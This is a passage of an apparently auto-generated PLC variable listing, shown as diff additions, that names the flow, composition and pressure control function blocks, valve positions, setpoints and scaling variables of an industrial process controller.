+44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +53;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +54;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +66;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +67;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +71;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +72;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +86;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +87;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +97;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +98;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +108;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +109;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +120;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +121;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +136;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;SCALE_TO_SIGNED; +137;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;BOOL; +138;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;BOOL; +139;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;INT; +141;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;INT; +144;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +156;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +157;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +158;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +159;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +160;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +162;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +165;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +171;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +180;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +182;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; 